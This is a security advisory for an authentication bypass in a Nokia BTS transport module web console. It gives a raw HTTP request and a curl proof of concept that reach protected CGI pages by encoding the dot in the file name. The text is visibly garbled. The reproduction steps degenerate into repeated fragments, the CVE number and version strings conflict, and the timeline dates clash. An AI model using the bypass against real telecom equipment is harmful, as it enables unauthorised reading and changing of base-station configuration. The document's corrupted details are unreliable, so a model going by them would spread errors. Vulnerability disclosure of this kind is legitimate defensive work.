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## **Nokia Transport Module Authentication Bypass**

Posted Feb 11, 2022

The TRS web console allows an authenticated user to remotely manage the BTS and its configuration. Analysis discovered an authentication bypass vulnerability in the web management console. BTS TRS web console version FTM\_W20\_FP2\_2019.08.16\_0010 is affected.

tags | exploit, web, bypass advisories | CVE-2021-31932

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title: Nokia Transport Module Authentication Bypass case id: CM-2020-02 product: NTS TRS web console (FTM_M20_FP2_2019.08.16_0010) vulnerability type: Authentication Bypass severity: Critical found: 2020-09-28 CVE: CVE-2021-3192 by: Cristiano Maruti (@cmaruti)	
[EXECUTIVE SUMMARY]	
The TRS web console allows an authenticated user to remotely manage the BTS and its configuration. The enalysis discovered an authentication bypars vulnerability (CWE-289) in the web management console. A malicious unauthenticated user can get access to all the functionalities exposed via the web panel circumventing the authentication process. The vulnerability lies in the way the web server in use (lightpd) protects restricted resources and how special characters are encoded and pass to the underline CGIs. A successful attack can read data from the BTS and read, modify or delete BTS configuration.	
[VULNERABLE VERSIONS]	
The following version of the TRS web console was affected by the vulnerability; previous versions say be vulnerable as well: - BTS TRS web console (TRM NEO_TPZ_2016.08.16_0010)	
[TECHNICAL DETAILS]	
It is possible to reproduce the vulnerability following these steps:  1. Open a web browser and insert the BTS TRS web console IP  2. Navigate to a protected resource (for example // protected/ShowErrorLog.cqi)  3. ShowErrorLog.cqi)  4. ShowErrorLog.cqi  (%20)  4. ShowErrorLog.cqi)  4. ShowErrorLog.cqi  4. ShowErrorLog.cqi  5. ShowErrorLog.cqi  6. ShowErrorLog.cqi  6. ShowErrorLog.cqi  6. ShowErrorLog.cqi  6. ShowErrorLog.cqi  6. ShowErrorLog.cqi  7. ShowErrorLog.cqi  8. ShowErrorLog.cqi  8. ShowErrorLog.cqi  8. ShowErrorLog.cqi  8. ShowErrorLog.cqi  8. ShowErrorLog.cqi  9. ShowErrorLog.cqi  10. Sh	
Below a full transcript of the HTTP request used to get access to a protected resource.	
HTTP Request  GET /protected/ShowErrorLog%2Ecg1?token=thisIsNotTheRightToken HTTP/1.1 Host: <argetip> User-Agent: curl/7.67.0 Accept: */*</argetip>	
curl poc	
# curl -vk https:// <targetip>/protected/ShowErrorLog%2Ecgi?token=thisIsNotTheRightToken&amp;frame=showLogFile</targetip>	
[VULNERABILITY REFERENCE] Mitre assigned the following CVE ID to the vulnerability: CVE-2021-31932	
IDISCIDENCE TIMELINE) 2020-10-06: Contacting Nokia PSIRT and shared the details of the vulnerability 2020-10-07: Nokia PSIRT acknowledge the receipt of the message. 2021-10-12: Vendor engineering team confirmed the vulnerability and working on patch (estimated time end of 2020). 2021-04-30: Research requested a CVE assignment through MITRE CVE Assignment Team; allocated CVE-2021-31932 2021-05-01: Researcher notified the assigned CVE number to the Vendor 2022-02-08: Researcher asked for permission to publicly release the report to the public; Nokia PSIRT acknowledged	
Grid about Manual	
Cristiano Maruti about.me/cmaruti	

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